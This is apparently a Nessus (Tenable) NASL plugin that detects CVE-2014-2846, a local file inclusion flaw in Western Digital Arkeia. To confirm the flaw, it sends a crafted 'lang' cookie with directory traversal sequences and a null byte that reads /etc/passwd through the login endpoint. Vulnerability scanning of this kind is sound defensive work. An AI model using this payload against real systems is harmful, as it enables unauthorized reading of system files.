Western Digital Arkeia lang Cookie Crafted Local File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(74221);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-2846");
  script_bugtraq_id(67039);
  script_xref(name:"EDB-ID", value:"33005");

  script_name(english:"Western Digital Arkeia lang Cookie Crafted Local File Inclusion");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is affected by a local
file inclusion vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Western Digital Arkeia device hosts a PHP script that is
affected by a local file inclusion vulnerability. A remote,
unauthenticated attacker can exploit this issue to read or execute
arbitrary files by crafting a request with directory traversal
sequences in the 'lang' cookie.");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67b88cb2");
  script_set_attribute(attribute:"see_also", value:"http://wiki.arkeia.com/index.php/Path_Traversal_Remote_Code_Execution");
  # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.2/documentation/CHANGES-10.2.9
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c1883b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 10.2.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2846");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/04/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/05/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wd_arkeia_detect.nbin");
  script_require_keys("www/PHP", "www/wd_arkeia");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE, embedded:TRUE);

install = get_install_from_kb(
  appname      : "wd_arkeia",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];

app = "Western Digital Arkeia";
file = "/etc/passwd";
file_pat = "root:.*:0:[01]:";

vuln = FALSE;
clear_cookiejar();
cookie = "lang=nessus..././..././..././..././..././.../."+file+"%00";

user = rand_str();
pass = rand_str();

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/login/doLogin",
  data   : "password="+pass+"&username="+user,
  add_headers  : make_array("Cookie", cookie),
  content_type : "application/x-www-form-urlencoded",
  exit_on_fail : TRUE
);
if (egrep(pattern:file_pat, string:res[2])) vuln = TRUE;

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));

report = NULL;
attach_file = NULL;
output = NULL;
req = http_last_sent_request();
request = NULL;

if (report_verbosity > 0)
{
  report =
    '\n' + 'Nessus was able to exploit the issue to retrieve the contents of ' +
    '\n' + "'" + file + "'" + ' using the following request :' +
    '\n' +
    '\n' + req +
    '\n';

  if (report_verbosity > 1)
  {
    # Filtering for output to remove auth error from report output
    output = res[2];
    pos = stridx(output, '{"local');
    if (pos > 0)
    {
      output = substr(output, 0, pos - 1);
    }

    output = data_protection::redact_etc_passwd(output:output);
    attach_file = file;
    request = make_list(req);

  }
}

security_report_v4(port:port,
                   extra:report,
                   severity:SECURITY_HOLE,
                   request:request,
                   file:attach_file,
                   output:output);